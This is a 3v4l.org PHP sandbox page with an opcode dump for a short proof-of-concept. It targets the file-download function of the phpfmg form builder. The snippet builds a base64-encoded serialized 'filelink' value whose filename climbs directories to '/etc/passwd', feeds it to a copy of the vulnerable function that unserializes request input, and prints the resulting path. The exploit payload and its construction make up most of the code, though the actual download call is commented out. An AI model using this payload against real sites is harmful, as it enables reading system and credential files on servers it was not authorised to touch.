3v4l.org

run code in 300+ PHP versions simultaneously
<?php $_GET['filelink'] = 'YToyOntzOjg6InJlY29yZElEIjtzOjEzOiIyMDE2MDIyMy0zYWRmIjtzOjg6ImZpbGVuYW1lIjtzOjUwOiIvLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCI7fQ'; function phpfmg_filman_download() { var_dump($_REQUEST['filelink']); if( !isset($_REQUEST['filelink']) ) return ; $info = unserialize(base64_decode($_REQUEST['filelink'])); if( !isset($info['recordID']) ){ return ; }; $file = $info['recordID'] . '-' . $info['filename']; var_dump($file); //phpfmg_util_download( $file, $info['filename'] ); } phpfmg_filman_download(); //$name = phpfmg_rename_harmful(trim('Capture.JPG')) ; $name = '/../../../../../../../../../../../../../etc/passwd'; $filelink= base64_encode( serialize(array('recordID'=>"20160223-3adf", 'filename'=>$name)) ); //echo "?mod=filman&func=download&filelink=" . urlencode($filelink);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/qogij
function name:  (null)
number of ops:  16
compiled vars:  !0 = $name, !1 = $filelink
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   FETCH_W                      global              $2      '_GET'
          1        ASSIGN_DIM                                               $2, 'filelink'
          2        OP_DATA                                                  'YToyOntzOjg6InJlY29yZElEIjtzOjEzOiIyMDE2MDIyMy0zYWRmIjtzOjg6ImZpbGVuYW1lIjtzOjUwOiIvLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZCI7fQ'
   20     3        INIT_FCALL                                               'phpfmg_filman_download'
          4        DO_FCALL                                      0          
   24     5        ASSIGN                                                   !0, '%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd'
   26     6        INIT_FCALL                                               'base64_encode'
          7        INIT_FCALL                                               'serialize'
          8        INIT_ARRAY                                       ~6      '20160223-3adf', 'recordID'
          9        ADD_ARRAY_ELEMENT                                ~6      !0, 'filename'
         10        SEND_VAL                                                 ~6
         11        DO_ICALL                                         $7      
         12        SEND_VAR                                                 $7
         13        DO_ICALL                                         $8      
         14        ASSIGN                                                   !1, $8
   28    15      > RETURN                                                   1

Function phpfmg_filman_download:
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 9, Position 2 = 10
Branch analysis from position: 9
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 10
2 jumps found. (Code = 43) Position 1 = 22, Position 2 = 23
Branch analysis from position: 22
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 23
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/qogij
function name:  phpfmg_filman_download
number of ops:  32
compiled vars:  !0 = $info, !1 = $file
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    6     0  E >   INIT_FCALL                                               'var_dump'
          1        FETCH_R                      global              ~2      '_REQUEST'
          2        FETCH_DIM_R                                      ~3      ~2, 'filelink'
          3        SEND_VAL                                                 ~3
          4        DO_ICALL                                                 
    7     5        FETCH_IS                                         ~5      '_REQUEST'
          6        ISSET_ISEMPTY_DIM_OBJ                         0  ~6      ~5, 'filelink'
          7        BOOL_NOT                                         ~7      ~6
          8      > JMPZ                                                     ~7, ->10
    8     9    > > RETURN                                                   null
   10    10    >   INIT_FCALL                                               'unserialize'
         11        INIT_FCALL                                               'base64_decode'
         12        FETCH_R                      global              ~8      '_REQUEST'
         13        FETCH_DIM_R                                      ~9      ~8, 'filelink'
         14        SEND_VAL                                                 ~9
         15        DO_ICALL                                         $10     
         16        SEND_VAR                                                 $10
         17        DO_ICALL                                         $11     
         18        ASSIGN                                                   !0, $11
   11    19        ISSET_ISEMPTY_DIM_OBJ                         0  ~13     !0, 'recordID'
         20        BOOL_NOT                                         ~14     ~13
         21      > JMPZ                                                     ~14, ->23
   12    22    > > RETURN                                                   null
   15    23    >   FETCH_DIM_R                                      ~15     !0, 'recordID'
         24        CONCAT                                           ~16     ~15, '-'
         25        FETCH_DIM_R                                      ~17     !0, 'filename'
         26        CONCAT                                           ~18     ~16, ~17
         27        ASSIGN                                                   !1, ~18
   16    28        INIT_FCALL                                               'var_dump'
         29        SEND_VAR                                                 !1
         30        DO_ICALL                                                 
   18    31      > RETURN                                                   null

End of function phpfmg_filman_download

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
172.88 ms | 1403 KiB | 24 Q